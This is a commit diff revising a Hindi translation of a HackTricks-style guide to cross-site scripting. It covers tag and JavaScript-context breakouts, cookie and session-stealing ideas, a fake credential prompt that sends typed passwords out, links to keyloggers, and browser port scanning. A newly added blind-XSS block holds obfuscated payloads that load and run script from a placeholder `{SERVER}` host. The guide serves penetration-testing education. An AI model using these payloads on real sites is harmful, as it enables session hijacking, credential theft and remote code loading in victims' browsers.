यदि आप वेब के एक **बहुत छोटे हिस्से** में **XSS** पाते हैं जो किसी प्रकार की इंटरैक्शन की आवश्यकता होती है (शायद फुटर में एक छोटा लिंक जिसमें एक onmouseover तत्व है), तो आप उस तत्व द्वारा कब्जा किए गए स्थान को **संशोधित करने** की कोशिश कर सकते हैं ताकि लिंक के सक्रिय होने की संभावनाओं को अधिकतम किया जा सके।
|
||||
यदि आप वेब के एक **बहुत छोटे हिस्से** में **XSS** पाते हैं जो किसी प्रकार की इंटरैक्शन की आवश्यकता होती है (शायद फुटर में एक छोटा लिंक जिसमें एक onmouseover तत्व है), तो आप उस तत्व द्वारा कब्जा की गई जगह को **संशोधित करने** की कोशिश कर सकते हैं ताकि लिंक के सक्रिय होने की संभावनाओं को अधिकतम किया जा सके।
|
||||
|
||||
उदाहरण के लिए, आप तत्व में कुछ स्टाइलिंग जोड़ सकते हैं जैसे: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
@ -468,7 +468,7 @@ onbeforetoggle="alert(2)" />
|
||||
|
||||
## जावास्क्रिप्ट कोड के अंदर इंजेक्ट करना
|
||||
|
||||
इन मामलों में आपका **इनपुट** **JS कोड** के एक `.js` फ़ाइल या `<script>...</script>` टैग के बीच या HTML इवेंट के बीच जो JS कोड को निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करते हैं, में **प्रतिबिंबित** होने वाला है।
|
||||
इन मामलों में आपका **इनपुट** **JS कोड** के एक `.js` फ़ाइल या `<script>...</script>` टैग के बीच या HTML इवेंट के बीच जो JS कोड को निष्पादित कर सकते हैं या उन विशेषताओं के बीच जो `javascript:` प्रोटोकॉल को स्वीकार करते हैं, **प्रतिबिंबित** होने वाला है।
|
||||
|
||||
### \<script> टैग को एस्केप करना
|
||||
|
||||
@ -476,7 +476,7 @@ onbeforetoggle="alert(2)" />
|
||||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
ध्यान दें कि इस उदाहरण में हमने **एकल उद्धरण को भी बंद नहीं किया है**। इसका कारण यह है कि **HTML पार्सिंग पहले ब्राउज़र द्वारा की जाती है**, जिसमें पृष्ठ तत्वों की पहचान करना शामिल है, जिसमें स्क्रिप्ट के ब्लॉक भी शामिल हैं। JavaScript का पार्सिंग, जो अंतर्निहित स्क्रिप्ट को समझने और निष्पादित करने के लिए किया जाता है, केवल इसके बाद किया जाता है।
|
||||
ध्यान दें कि इस उदाहरण में हमने **एकल उद्धरण को भी बंद नहीं किया है**। इसका कारण यह है कि **HTML पार्सिंग पहले ब्राउज़र द्वारा की जाती है**, जिसमें पृष्ठ तत्वों की पहचान करना शामिल है, जिसमें स्क्रिप्ट के ब्लॉक भी शामिल हैं। JavaScript का पार्सिंग, जो अंतर्निहित स्क्रिप्ट को समझने और निष्पादित करने के लिए किया जाता है, केवल बाद में किया जाता है।
|
||||
|
||||
### JS कोड के अंदर
|
||||
|
||||
@ -488,7 +488,7 @@ onbeforetoggle="alert(2)" />
|
||||
```
|
||||
### Template literals \`\`
|
||||
|
||||
**स्ट्रिंग्स** बनाने के लिए, एकल और दोहरे उद्धरणों के अलावा, JS **बैकटिक्स** **` `` `** को भी स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\
|
||||
**स्ट्रिंग्स** को बनाने के लिए, एकल और दोहरे उद्धरणों के अलावा, JS भी **बैकटिक्स** **` `` `** को स्वीकार करता है। इसे टेम्पलेट लिटेरल कहा जाता है क्योंकि यह `${ ... }` सिंटैक्स का उपयोग करके **JS एक्सप्रेशंस** को **एंबेड** करने की अनुमति देता है।\
|
||||
इसलिए, यदि आप पाते हैं कि आपका इनपुट एक JS स्ट्रिंग के अंदर **रिफ्लेक्ट** हो रहा है जो बैकटिक्स का उपयोग कर रहा है, तो आप **मनमाने JS कोड** को निष्पादित करने के लिए `${ ... }` सिंटैक्स का दुरुपयोग कर सकते हैं:
|
||||
|
||||
इसका **दुरुपयोग** किया जा सकता है:
|
||||
@ -739,21 +739,21 @@ top[8680439..toString(30)](1)
|
||||
```
|
||||
## **DOM कमजोरियाँ**
|
||||
|
||||
यहाँ **JS कोड** है जो **एक हमलावर द्वारा नियंत्रित असुरक्षित डेटा** का उपयोग कर रहा है जैसे कि `location.href`। एक हमलावर, इसे मनमाने JS कोड को निष्पादित करने के लिए दुरुपयोग कर सकता है।\
|
||||
**DOM कमजोरियों के विस्तृत विवरण के कारण इसे इस पृष्ठ पर स्थानांतरित किया गया है** [**DOM कमजोरियों के लिए**](dom-xss.md)**:**
|
||||
यहाँ **JS कोड** है जो **एक हमलावर द्वारा नियंत्रित असुरक्षित डेटा** का उपयोग कर रहा है जैसे `location.href`। एक हमलावर, इसे मनमाने JS कोड को निष्पादित करने के लिए दुरुपयोग कर सकता है।\
|
||||
**DOM कमजोरियों के विवरण के विस्तार के कारण** [**इसे इस पृष्ठ पर स्थानांतरित किया गया**](dom-xss.md)**:**
|
||||
|
||||
{{#ref}}
|
||||
dom-xss.md
|
||||
{{#endref}}
|
||||
|
||||
वहाँ आपको **यहाँ DOM कमजोरियाँ क्या हैं, ये कैसे उत्पन्न होती हैं, और इन्हें कैसे शोषण किया जा सकता है** इसका विस्तृत **व्याख्या** मिलेगी।\
|
||||
इसके अलावा, यह न भूलें कि **उल्लेखित पोस्ट के अंत में** आप [**DOM क्लॉबरिंग हमलों**](dom-xss.md#dom-clobbering) के बारे में एक व्याख्या पा सकते हैं।
|
||||
वहाँ आपको **यहाँ DOM कमजोरियाँ क्या हैं, ये कैसे उत्पन्न होती हैं, और इन्हें कैसे शोषण किया जा सकता है** इसका विस्तृत **विवरण** मिलेगा।\
|
||||
इसके अलावा, यह न भूलें कि **उल्लेखित पोस्ट के अंत में** आप [**DOM Clobbering हमलों**](dom-xss.md#dom-clobbering) के बारे में एक व्याख्या पा सकते हैं।
|
||||
|
||||
### Self-XSS को अपग्रेड करना
|
||||
|
||||
### कुकी XSS
|
||||
|
||||
यदि आप एक कुकी के अंदर पेलोड भेजकर XSS को ट्रिगर कर सकते हैं, तो यह आमतौर पर एक self-XSS है। हालाँकि, यदि आप XSS के लिए **कमजोर उपडोमेन** पाते हैं, तो आप इस XSS का दुरुपयोग करके पूरे डोमेन में एक कुकी इंजेक्ट कर सकते हैं जिससे मुख्य डोमेन या अन्य उपडोमेन (जो कुकी XSS के लिए कमजोर हैं) में कुकी XSS को ट्रिगर किया जा सके। इसके लिए आप कुकी टॉसिंग हमले का उपयोग कर सकते हैं:
|
||||
यदि आप एक कुकी के अंदर पेलोड भेजकर XSS को ट्रिगर कर सकते हैं, तो यह आमतौर पर एक self-XSS है। हालाँकि, यदि आप **XSS के लिए कमजोर उपडोमेन** पाते हैं, तो आप इस XSS का दुरुपयोग करके पूरे डोमेन में एक कुकी इंजेक्ट कर सकते हैं जिससे मुख्य डोमेन या अन्य उपडोमेनों (जो कुकी XSS के लिए कमजोर हैं) में कुकी XSS को ट्रिगर किया जा सके। इसके लिए आप कुकी टॉसिंग हमले का उपयोग कर सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
../hacking-with-cookies/cookie-tossing.md
|
||||
@ -767,7 +767,7 @@ dom-xss.md
|
||||
|
||||
### सत्र मिररिंग
|
||||
|
||||
यदि आप कुछ self XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए ग्राहकों को मदद मांगने की अनुमति देना और व्यवस्थापक आपकी मदद करने के लिए आपके सत्र में जो आप देख रहे हैं उसे देखेगा लेकिन अपने सत्र से।
|
||||
यदि आप कुछ self XSS पाते हैं और वेब पृष्ठ में **व्यवस्थापकों के लिए सत्र मिररिंग** है, उदाहरण के लिए ग्राहकों को मदद के लिए पूछने की अनुमति देना और व्यवस्थापक आपकी मदद करने के लिए आपके सत्र में जो आप देख रहे हैं उसे देखेगा लेकिन अपने सत्र से।
|
||||
|
||||
आप **व्यवस्थापक को आपके self XSS को ट्रिगर करने** और उसकी कुकीज़/सत्र चुराने के लिए मजबूर कर सकते हैं।
|
||||
|
||||
@ -826,14 +826,14 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
```
|
||||
### XSS with header injection in a 302 response
|
||||
|
||||
यदि आप पाते हैं कि आप **302 Redirect response में headers inject कर सकते हैं**, तो आप **ब्राउज़र को मनमाना JavaScript निष्पादित करने** के लिए प्रयास कर सकते हैं। यह **सरल नहीं है** क्योंकि आधुनिक ब्राउज़र HTTP response body को 302 HTTP response status code होने पर नहीं समझते हैं, इसलिए केवल एक cross-site scripting payload बेकार है।
|
||||
यदि आप पाते हैं कि आप **302 Redirect response में headers inject कर सकते हैं** तो आप **ब्राउज़र को मनमाना JavaScript चलाने के लिए प्रयास कर सकते हैं**। यह **सरल नहीं है** क्योंकि आधुनिक ब्राउज़र HTTP response body को 302 HTTP response status code होने पर नहीं समझते, इसलिए केवल एक cross-site scripting payload बेकार है।
|
||||
|
||||
[**इस रिपोर्ट**](https://www.gremwell.com/firefox-xss-302) और [**इस एक**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) में आप पढ़ सकते हैं कि आप Location header के अंदर कई प्रोटोकॉल का परीक्षण कैसे कर सकते हैं और देख सकते हैं कि क्या इनमें से कोई भी ब्राउज़र को body के अंदर XSS payload की जांच और निष्पादित करने की अनुमति देता है।\
|
||||
पिछले ज्ञात प्रोटोकॉल: `mailto://`, `//x:1/`, `ws://`, `wss://`, _खाली Location header_, `resource://`।
|
||||
|
||||
### केवल अक्षर, संख्या और बिंदु
|
||||
|
||||
यदि आप यह संकेत देने में सक्षम हैं कि **callback** जो javascript **निष्पादित** करने जा रहा है, उन वर्णों तक सीमित है। [**इस पोस्ट के इस अनुभाग को पढ़ें**](#javascript-function) यह जानने के लिए कि इस व्यवहार का दुरुपयोग कैसे किया जाए।
|
||||
यदि आप यह संकेत देने में सक्षम हैं कि **callback** जो javascript **execute** करने जा रहा है उन वर्णों तक सीमित है। [**इस पोस्ट के इस अनुभाग को पढ़ें**](#javascript-function) यह जानने के लिए कि इस व्यवहार का दुरुपयोग कैसे करें।
|
||||
|
||||
### XSS के लिए मान्य `<script>` Content-Types
|
||||
|
||||
@ -841,7 +841,7 @@ document['default'+'View'][`\u0061lert`](3)
|
||||
|
||||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||||
|
||||
केवल **Content-Type** जो Chrome को एक **लोड की गई स्क्रिप्ट** चलाने का समर्थन करेगा, वे हैं जो const **`kSupportedJavascriptTypes`** के अंदर हैं [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
केवल **Content-Type** जो Chrome को एक **loaded script** चलाने में सहायता करेगा वे हैं जो const **`kSupportedJavascriptTypes`** के अंदर हैं [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
|
||||
```c
|
||||
const char* const kSupportedJavascriptTypes[] = {
|
||||
"application/ecmascript",
|
||||
@ -1009,7 +1009,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
|
||||
)
|
||||
})()
|
||||
```
|
||||
पिछले उदाहरण की तरह, **त्रुटि हैंडलर्स** का उपयोग करके **मॉड्यूल** के **wrapper** तक पहुँचने और **`require`** फ़ंक्शन प्राप्त करना संभव है:
|
||||
पिछले उदाहरण की तरह, **त्रुटि हैंडलर्स** का उपयोग करके **मॉड्यूल** के **wrapper** तक पहुंचना और **`require`** फ़ंक्शन प्राप्त करना संभव है:
|
||||
```javascript
|
||||
try {
|
||||
null.f()
|
||||
@ -1049,7 +1049,7 @@ trigger()
|
||||
```
|
||||
### Obfuscation & Advanced Bypass
|
||||
|
||||
- **एक पृष्ठ में विभिन्न ओबफस्केशन:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- **एक पृष्ठ में विभिन्न ओबफस्केशन्स:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||
- [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||
- [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||
- [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||
@ -1359,9 +1359,9 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||
};
|
||||
}
|
||||
```
|
||||
_छोटी समयावधियाँ एक प्रतिक्रिया देने वाले पोर्ट को इंगित करती हैं_ _लंबी समयावधियाँ कोई प्रतिक्रिया नहीं होने को इंगित करती हैं।_
|
||||
_छोटे समय एक प्रतिक्रिया देने वाले पोर्ट को इंगित करते हैं_ _लंबे समय कोई प्रतिक्रिया नहीं होने को इंगित करते हैं।_
|
||||
|
||||
Chrome में प्रतिबंधित पोर्टों की सूची की समीक्षा करें [**यहाँ**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) और Firefox में [**यहाँ**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)।
|
||||
Chrome में प्रतिबंधित पोर्टों की सूची की समीक्षा करें [**यहां**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) और Firefox में [**यहां**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist)।
|
||||
|
||||
### क्रेडेंशियल्स के लिए पूछने वाला बॉक्स
|
||||
```html
|
||||
@ -1382,7 +1382,7 @@ body:username.value+':'+this.value
|
||||
|
||||
### कीलॉगर
|
||||
|
||||
गिटहब पर खोजते समय मैंने कुछ अलग-अलग कीलॉगर पाए:
|
||||
बस गिटहब पर खोजते समय मैंने कुछ अलग-अलग कीलॉगर पाए:
|
||||
|
||||
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||
@ -1471,6 +1471,31 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.
|
||||
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
|
||||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
|
||||
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
|
||||
<!-- Image tag -->
|
||||
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
|
||||
|
||||
<!-- Input tag with autofocus -->
|
||||
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
|
||||
|
||||
<!-- In case jQuery is loaded, we can make use of the getScript method -->
|
||||
'"><script>$.getScript("{SERVER}/script.js")</script>
|
||||
|
||||
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
|
||||
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
|
||||
|
||||
<!-- Render an iframe to validate your injection point and receive a callback -->
|
||||
'"><iframe src="{SERVER}"></iframe>
|
||||
|
||||
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
|
||||
<base href="{SERVER}" />
|
||||
|
||||
<!-- Make use of the meta-tag to initiate a redirect -->
|
||||
<meta http-equiv="refresh" content="0; url={SERVER}" />
|
||||
|
||||
<!-- In case your target makes use of AngularJS -->
|
||||
{{constructor.constructor("import('{SERVER}/script.js')")()}}
|
||||
```
|
||||
### Regex - Access Hidden Content
|
||||
|
||||
@ -1612,5 +1637,6 @@ other-js-tricks.md
|
||||
- [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
|
||||
- [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
- [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user